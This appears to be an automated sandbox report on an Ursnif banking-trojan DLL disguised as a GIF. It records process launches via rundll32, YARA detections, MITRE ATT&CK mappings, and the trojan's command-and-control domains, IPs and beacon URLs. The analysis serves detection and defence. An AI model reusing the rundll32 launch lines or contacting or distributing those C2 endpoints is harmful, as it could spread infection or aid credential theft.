Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll',#1
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6664 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6664 CREDAT:82952 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6780 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6780 CREDAT:17414 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6384 CREDAT:17410 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\0204_1.gif.dll,StartService	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll',#1	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6664 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6664 CREDAT:82952 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6780 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6780 CREDAT:17414 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6384 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: unknown unknown

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_10001745 LoadLibraryA,GetProcAddress,

1_2_10001745

Source: 0204_1.gif.dll

Static PE information: section name: .code

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_10002143 push ecx; ret	1_2_10002153
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_100020F0 push ecx; ret	1_2_100020F9
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F9EAE5 push ds; retf	1_2_02F9EAEB
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F9E4C9 push ecx; ret	1_2_02F9E4CA
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F9AD50 push ecx; ret	1_2_02F9AD59
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F9D343 pushfd ; retf 0003h	1_2_02F9D346
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F9B10B push ecx; ret	1_2_02F9B11B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA348F push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	4_2_02CA34A1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA348F push dword ptr [ebp-0Ch]; mov dword ptr [esp], ecx	4_2_02CA3632
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA348F push 00000000h; mov dword ptr [esp], edx	4_2_02CA37FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA348F push edx; mov dword ptr [esp], 00000002h	4_2_02CA384A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA348F push 00000000h; mov dword ptr [esp], ecx	4_2_02CA38D7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA6194 push eax; mov dword ptr [esp], 00000004h	4_2_02CA61AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA6194 push esi; mov dword ptr [esp], 00001000h	4_2_02CA61B7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA6194 push 00000000h; mov dword ptr [esp], ebp	4_2_02CA6267
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA20EE push 00000000h; mov dword ptr [esp], esi	4_2_02CA210B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA20EE push dword ptr [ebp-10h]; mov dword ptr [esp], esi	4_2_02CA2177
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA20EE push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	4_2_02CA222E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA20EE push 00000000h; mov dword ptr [esp], eax	4_2_02CA2498
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA20EE push 00000000h; mov dword ptr [esp], edi	4_2_02CA2502
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA20EE push 00000000h; mov dword ptr [esp], ecx	4_2_02CA2524
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA20EE push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	4_2_02CA269D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA20EE push dword ptr [ebp-10h]; mov dword ptr [esp], esi	4_2_02CA2737
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA20EE push edi; mov dword ptr [esp], 00000004h	4_2_02CA2759
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA5AF6 push esi; mov dword ptr [esp], 0000F000h	4_2_02CA5C11
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA4DF5 push 00000000h; mov dword ptr [esp], edi	4_2_02CA4EA4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA2DF5 push dword ptr [ebp-04h]; mov dword ptr [esp], edi	4_2_02CA2E1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA2DF5 push 00000000h; mov dword ptr [esp], edx	4_2_02CA2EAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA2DF5 push 00000000h; mov dword ptr [esp], ebp	4_2_02CA2EC1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA6099 push esi; mov dword ptr [esp], FFFF0000h	4_2_02CA60A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA6099 push ecx; mov dword ptr [esp], 00005267h	4_2_02CA60C0

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000002.486714562.0000000000BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.248258066.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.487763309.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.bd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.2ed0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.be0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000003.323251536.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318966853.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318950554.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.480525805.0000000004DAF000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323328029.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.319029773.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318997670.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323362066.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.401164058.0000000003A2D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318987145.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.480876876.000000000392F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323281366.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323298116.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.404525963.0000000004EAD000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318925659.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323337362.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 68, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5452, type: MEMORY

Source: C:\Windows\System32\loaddll32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F912D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		1_2_02F912D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02D712D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		5_2_02D712D4

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_10001745 LoadLibraryA,GetProcAddress,

1_2_10001745

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA2DF5 or edx, dword ptr fs:[00000030h]		4_2_02CA2DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD2DF5 or edx, dword ptr fs:[00000030h]		5_2_02CD2DF5

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000001.00000002.487376121.0000000001AC0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.487898300.0000000003120000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000001.00000002.487376121.0000000001AC0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.487898300.0000000003120000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000001.00000002.487376121.0000000001AC0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.487898300.0000000003120000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000001.00000002.487376121.0000000001AC0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.487898300.0000000003120000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_02F9269C cpuid

1_2_02F9269C

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_1000102F GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

1_2_1000102F

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_02F9269C RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

1_2_02F9269C

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_10001850 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

1_2_10001850

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000002.486714562.0000000000BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.248258066.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.487763309.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.bd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.2ed0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.be0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000003.323251536.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318966853.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318950554.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.480525805.0000000004DAF000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323328029.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.319029773.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318997670.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323362066.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.401164058.0000000003A2D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318987145.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.480876876.000000000392F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323281366.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323298116.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.404525963.0000000004EAD000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318925659.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323337362.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 68, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5452, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000002.486714562.0000000000BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.248258066.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.487763309.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.bd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.2ed0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.be0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000003.323251536.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318966853.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318950554.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.480525805.0000000004DAF000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323328029.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.319029773.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318997670.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323362066.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.401164058.0000000003A2D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318987145.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.480876876.000000000392F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323281366.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323298116.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.404525963.0000000004EAD000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318925659.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323337362.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 68, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5452, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Path Interception	Process Injection12	Masquerading1	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0204_1.gif.dll	54%	ReversingLabs	Win32.Trojan.Sdum
0204_1.gif.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.loaddll32.exe.2f90000.2.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
5.2.rundll32.exe.2d70000.3.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
5.2.rundll32.exe.10000000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
1.2.loaddll32.exe.1200000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen3	Download File
1.2.loaddll32.exe.10000000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File

Domains

Source	Detection	Scanner	Label	Link
urs-world.com	6%	Virustotal		Browse
under17.com	6%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://under17.com/joomla/7ilxUUc2eQiB_2BWW/6r_2BMwbjonk/83d_2FHHC15/HJRFbBiTdFKAEO/luoufpwcpxd9B2Df	0%	Avira URL Cloud	safe
http://under17.com/joomla/5Ee9Djbm01gK/tl8o1rQRrf7/ve4VcCWGPHbKdt/oB2JQB1Ds_2Fi7cV4n7xM/odh0a6MBnYBo	0%	Avira URL Cloud	safe
http://urs-world.com/joomla/swXAVHGoBGvGk1d/ryn6afaNNl5GqYjk6D/Ylnh1Zekh/Fo40Y2SBz206KbWZIB4F/dye0VS	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
urs-world.com	185.186.244.95	true	true	6%, Virustotal, Browse	unknown
under17.com	185.243.114.196	true	true	6%, Virustotal, Browse	unknown
login.microsoftonline.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.msn.com/de-ch/nachrichten/politik/l	msnpopularnow[1].json.14.dr	false		high
http://under17.com/joomla/7ilxUUc2eQiB_2BWW/6r_2BMwbjonk/83d_2FHHC15/HJRFbBiTdFKAEO/luoufpwcpxd9B2Df	{FBAD85D8-96F8-11EB-90E4-ECF4BB862DED}.dat.28.dr	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/news/other/das-grosse-impfen-beginnt-geht-es-nun-endlich-vorw	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/finanzen/top-stories/janet-yellen-us-finanzministerin-fordert-weltweite-mi	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/so-tickt-kosovos-neue-staatspr	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/es-h	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/nachrichten/vermischtes/die-altersheime-hat-man-vergessen/ar-BB1fkRPW?ocid	msnpopularnow[1].json.14.dr	false		high
http://under17.com/joomla/5Ee9Djbm01gK/tl8o1rQRrf7/ve4VcCWGPHbKdt/oB2JQB1Ds_2Fi7cV4n7xM/odh0a6MBnYBo	~DF4EC0ACC0598C2A74.TMP.28.dr, {FBAD85DA-96F8-11EB-90E4-ECF4BB862DED}.dat.28.dr	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/nachrichten/politik/das-alles-h	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/alexej-nawalny-klagt-	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/manfred-weber-nennt-eu-beitritt-der-t	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/coronakrise-laschet-fordert-harten-br	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/news/other/der-westen-muss-mit-sanktionen-drohen-die-wehtun/ar-BB1flkV9?oc	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/news/other/polizei-sucht-mit-superpuma-nach-vermissten-minderj	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/finanzen/top-stories/staatliche-regulierung-allianz-gegen-big-tech-druck-a	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/fdp-nur-keine-option-von-vornherein-ausschlie	msnpopularnow[1].json.14.dr	false		high
https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	~DF9401D896BB639998.TMP.13.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/ukrainekonflikt-maas-warnt-russland-und-ukraine-	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/admirale-begehren-auf-gegen-das-verr	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/news/other/ressourcen-f	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/finanzen/top-stories/datenleck-bei-facebook-wachstum-z	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/news/other/auf-schmusekurs-mit-erdogan-eu-spitzen-reisen-in-die-t	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/news/other/neuseeland-und-australien-starten-quarant	msnpopularnow[1].json.14.dr	false		high
https://www.msn.com/de-ch/news/other/pentagon-usa-beobachten-russlands-aktivit	msnpopularnow[1].json.14.dr	false		high
http://feross.org	GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js.14.dr	false		high
http://urs-world.com/joomla/swXAVHGoBGvGk1d/ryn6afaNNl5GqYjk6D/Ylnh1Zekh/Fo40Y2SBz206KbWZIB4F/dye0VS	{12812620-96F9-11EB-90E4-ECF4BB862DED}.dat.38.dr	true	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.243.114.196	under17.com	Netherlands		31400	ACCELERATED-ITDE	true
185.186.244.95	urs-world.com	Netherlands		35415	WEBZILLANL	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	382559
Start date:	06.04.2021
Start time:	09:54:07
